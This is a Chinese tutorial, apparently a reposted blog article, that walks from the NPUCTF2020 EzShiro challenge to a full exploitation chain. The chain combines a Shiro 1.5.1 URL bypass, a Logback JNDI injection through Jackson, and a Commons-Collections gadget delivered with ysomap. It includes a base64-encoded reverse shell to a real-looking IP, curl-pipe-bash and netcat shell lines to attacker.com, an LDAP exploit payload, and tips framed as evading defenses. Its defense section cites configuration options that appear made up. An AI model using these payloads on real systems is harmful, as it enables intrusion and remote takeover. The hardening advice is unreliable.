news 2026/6/8 21:55:12

从一道CTF题到实战:手把手教你复现Shiro 1.5.1与Logback 1.2.1组合漏洞(含ysomap工具使用)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从一道CTF题到实战:手把手教你复现Shiro 1.5.1与Logback 1.2.1组合漏洞(含ysomap工具使用)

从CTF到实战:深度剖析Shiro与Logback组合漏洞的攻防艺术

在网络安全竞赛中,那些看似晦涩的CTF题目往往隐藏着真实世界的漏洞利用逻辑。当一道名为EzShiro的题目出现在NPUCTF2020赛场时,它巧妙地将Shiro权限绕过、Logback反序列化和CommonsCollections利用链编织在一起,构建了一个贴近实战的漏洞利用场景。本文将带您从零开始,完整复现这个典型的多层漏洞组合案例,并分享ysomap工具在高版本JDK环境下的实战技巧。

1. 漏洞环境全景解析

1.1 组件版本与漏洞矩阵

目标环境的关键组件构成了一张危险的漏洞网络:

组件名称版本号关联漏洞利用条件
Apache Shiro1.5.1权限绕过(CVE-2020-1957)特定URL格式构造
Logback-core1.2.1JNDI注入(CVE-2019-14439)Jackson反序列化触发点
Commons-Collections3.2.1反序列化利用链JDK8中低版本环境

这个组合的独特之处在于:Shiro的权限绕过为攻击者打开了入口,而Logback的JNDI注入点与Commons-Collections的利用链形成了完整的攻击路径。在实际渗透测试中,这种多层级漏洞串联的情况比单一漏洞更具杀伤力。

1.2 环境搭建的五个关键点

  1. Spring Boot基础配置

    <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>

    确保使用Spring Boot 2.x版本以兼容Shiro 1.5.1

  2. Shiro的URL匹配陷阱

    // 错误配置示例 filterChainDefinitionMap.put("/json", "authc"); // 正确配置应包含路径规范化处理
  3. Logback的JNDI开关: 在logback.xml中需要启用JNDI功能:

    <configuration debug="true"> <jndiContext> <environment> <property name="java.naming.factory.initial" value="com.sun.jndi.ldap.LdapCtxFactory"/> </environment> </jndiContext> </configuration>
  4. Jackson的多态类型处理

    ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 必须开启此选项
  5. JDK版本选择: 推荐使用JDK8u191以下版本,或手动移除JNDI注入防护:

    java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar target/app.jar

注意:生产环境切勿禁用JNDI防护,此处仅用于漏洞研究环境搭建

2. 权限绕过的艺术:突破Shiro的防线

2.1 URL解析差异的深度利用

Shiro 1.5.1版本的权限绕过源于其对URL路径处理的缺陷。当遇到/;/json这类非标准路径时:

  1. Shiro的路径解析流程

    • 接收请求路径:/;/json
    • 移除分号及其后内容 →/
    • 匹配权限规则时检查/的权限
    • 判断为无需认证
  2. Spring的路径解析流程

    • 接收相同路径:/;/json
    • 标准化处理后 →/json
    • 最终路由到@PostMapping("/json")方法

这种解析差异导致Shiro认为请求访问的是无需认证的根路径,而Spring最终将请求路由到需要认证的/json接口。攻击者利用这个时间差成功绕过权限检查。

2.2 实战中的三种变形技巧

除了经典的/;/json格式,还可以尝试:

  • 路径混淆变体

    POST /;/json HTTP/1.1 POST /%2f/json HTTP/1.1 POST /./json HTTP/1.1
  • Header注入配合

    GET /json HTTP/1.1 X-Original-URL: /admin
  • 参数污染技巧

    POST /json;foo=bar HTTP/1.1

在真实环境中,建议使用Burp Intruder对这些变体进行批量测试,特别是当标准绕过方式被防护时。

3. 漏洞利用链的精妙构造

3.1 Logback的JNDI注入点分析

ch.qos.logback.core.db.JNDIConnectionSource类中存在不安全的JNDI查找:

public class JNDIConnectionSource { private String jndiLocation; // 可控输入点 public void lookup() { InitialContext ctx = new InitialContext(); ctx.lookup(jndiLocation); // 危险操作 } }

攻击者通过Jackson反序列化可以完全控制jndiLocation参数。典型的攻击载荷如下:

[ "ch.qos.logback.core.db.JNDIConnectionSource", { "jndiLocation": "ldap://attacker.com/Exploit" } ]

3.2 高版本JDK的绕过策略

当目标使用JDK8u191以上版本时,传统的JNDI注入会失效。此时需要:

  1. 本地类加载利用链

    • 利用Commons-Collections 3.2.1中的Transformer
    • 通过LDAP服务返回序列化对象而非直接加载远程类
  2. ysomap工具配置示例

    use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}' run
  3. 关键参数说明

    • lport:本地LDAP服务监听端口
    • version:必须与目标Commons-Collections版本匹配
    • command:Base64编码的反弹Shell命令

3.3 利用链的完整触发流程

  1. 发送恶意JSON到/;/json端点
  2. Jackson反序列化触发JNDIConnectionSource初始化
  3. JNDI查找指向攻击者控制的LDAP服务器
  4. LDAP返回包含CommonsCollections利用链的序列化对象
  5. 目标执行链式转换最终触发命令执行
sequenceDiagram participant A as 攻击者 participant T as 目标服务器 participant L as LDAP服务 A->>T: 发送恶意JSON请求 T->>T: Jackson反序列化 T->>L: JNDI查找请求 L->>T: 返回恶意序列化对象 T->>T: CommonsCollections链执行 T->>A: 建立反向Shell连接

4. ysomap工具的高级实战技巧

4.1 环境适配问题解决

当遇到工具执行失败时,重点检查:

  1. JDK版本兼容性

    java -version # 必须为JDK8 echo $JAVA_HOME # 确认环境变量正确
  2. 依赖库冲突处理

    mvn dependency:tree > deps.txt # 检查是否有多个版本的Commons-Collections
  3. 网络配置要点

    • 确保LDAP端口(默认6688)未被占用
    • 关闭防火墙或设置端口转发
    iptables -A INPUT -p tcp --dport 6688 -j ACCEPT

4.2 模块化攻击载荷设计

ysomap支持灵活的载荷组合:

# 伪代码示例 exploit = LDAPLocalChainListener() exploit.set_port(12345) payload = CommonsCollections8() payload.set_command("touch /tmp/pwned") bullet = TransformerBullet() bullet.set_version(3) exploit.add_payload(payload) exploit.add_bullet(bullet) exploit.run()

这种模块化设计允许攻击者快速切换不同的利用链和攻击方式。

4.3 内存规避技术

针对现代防护系统的对抗技巧:

  1. 无文件攻击

    set command "curl http://attacker.com/shell.sh|bash"
  2. 反射加载规避

    // 使用反射调用危险方法 Method m = Runtime.class.getDeclaredMethod("exec", String.class); m.invoke(Runtime.getRuntime(), "malicious_command");
  3. 延时触发策略

    set command "sleep 30 && nc attacker.com 4444 -e /bin/bash"

5. 防御体系的构建思路

5.1 组件层面的加固措施

  1. Shiro配置规范

    // 启用严格路径匹配 shiroFilter.setFilterChainResolver(new PathMatchingFilterChainResolver() { @Override public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { String requestURI = getPathWithinApplication(request); // 添加路径规范化处理 requestURI = normalizePath(requestURI); return super.getChain(request, response, originalChain); } });
  2. Logback安全配置

    <!-- 禁用JNDI功能 --> <configuration> <disableJNDI>true</disableJNDI> </configuration>
  3. Jackson安全设置

    ObjectMapper mapper = new ObjectMapper(); // 禁用危险特性 mapper.disableDefaultTyping(); mapper.enable(JsonParser.Feature.STRICT_CHARACTERESCAPING);

5.2 运行时防护方案

  1. JVM参数加固

    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dlogback.configurationFile=/secure/path/to/logback.xml
  2. RASP防护规则

    # 伪代码示例 def detect_serialization_attack(data): blacklist = [ "JNDIConnectionSource", "InvokerTransformer", "AnnotationInvocationHandler" ] return any(bad_key in data for bad_key in blacklist)
  3. 网络层过滤

    location ~* \.(json|xml)$ { if ($args ~* "jndi:") { return 403; } }

在真实攻防对抗中,防御者需要建立从代码层到基础设施层的纵深防御体系,而攻击者则不断寻找防御链条中最薄弱的环节。这种动态博弈正是网络安全领域永恒的主题

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/8 21:52:58

如何在3小时内用Cocos Creator快速开发三消游戏:开心消消乐完整教程

如何在3小时内用Cocos Creator快速开发三消游戏&#xff1a;开心消消乐完整教程 【免费下载链接】kaixinxiaoxiaole 使用cocos creator 编写的三消游戏 开心消消乐 项目地址: https://gitcode.com/gh_mirrors/ka/kaixinxiaoxiaole 你是否曾经梦想过开发一款属于自己的消…

作者头像 李华
网站建设 2026/6/8 21:42:11

【算法记录1】模型训练问题

一、训练流程中的“检查点”记忆法 数据准备 → 模型定义 → 训练循环 → 结果评估在每个节点&#xff0c;都能判断、预防或修复过/欠拟合。二、按写代码顺序串联 第1步&#xff1a;准备数据现象判断原因代码上怎么改数据太少 → 容易过拟合样本不足加数据 / 数据增强特征太少/…

作者头像 李华
网站建设 2026/6/8 21:41:35

2026小程序开发公司哪家好?推荐10家实力型小程序制作公司

移动互联网进入深水区&#xff0c;小程序已成为企业数字化转型的核心入口。无论是电商零售、企业展示、会员管理还是行业定制应用&#xff0c;选对一家开发公司&#xff0c;直接决定项目成败。2026年市场鱼龙混杂&#xff0c;本文基于技术实力、行业经验、服务保障、客户口碑等…

作者头像 李华
网站建设 2026/6/8 21:39:19

【Claude】Skill Creator 实战技巧,一文讲明白究竟怎么生成skill

文章目录 [toc]一句话说清楚一个 Skill 长什么样&#xff1f;整个流程怎么跑的&#xff1f;第一步&#xff1a;聊需求第二步&#xff1a;写草稿第三步&#xff1a;跑测试先造测试用例然后做对比实验 第四步&#xff1a;你来看效果第五步&#xff1a;改进1. 别太死板2. 没用的就…

作者头像 李华